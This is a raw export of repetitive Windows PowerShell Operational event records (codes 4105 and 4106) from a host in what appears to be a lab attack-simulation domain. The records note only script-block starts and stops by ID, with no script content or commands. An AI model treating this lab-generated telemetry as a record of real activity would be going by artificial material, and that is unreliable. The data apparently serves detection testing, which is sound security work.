Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051947
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051946
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051945
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051944
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051943
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051942
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051941
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051940
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051939
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051938
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051937
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051936
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051935
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051934
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051933
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051932
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051931
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051930
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051929
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051928
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051927
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051926
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051925
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051924
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051923
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051922
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051921
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051920
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051919
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051918
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051917
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051916
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051915
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051914
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051913
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051912
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051911
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051910
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051909
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051908
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051907
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051906
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051905
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051904
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051903
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051902
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051901
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051900
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051899
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051898
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051897
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051896
Keywords=None
Message=Completed invocation of ScriptBlock ID: 268e22bf-bf2c-4355-ab8a-c92a26317c43
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051895
Keywords=None
Message=Started invocation of ScriptBlock ID: 268e22bf-bf2c-4355-ab8a-c92a26317c43
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051894
Keywords=None
Message=Completed invocation of ScriptBlock ID: 268e22bf-bf2c-4355-ab8a-c92a26317c43
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
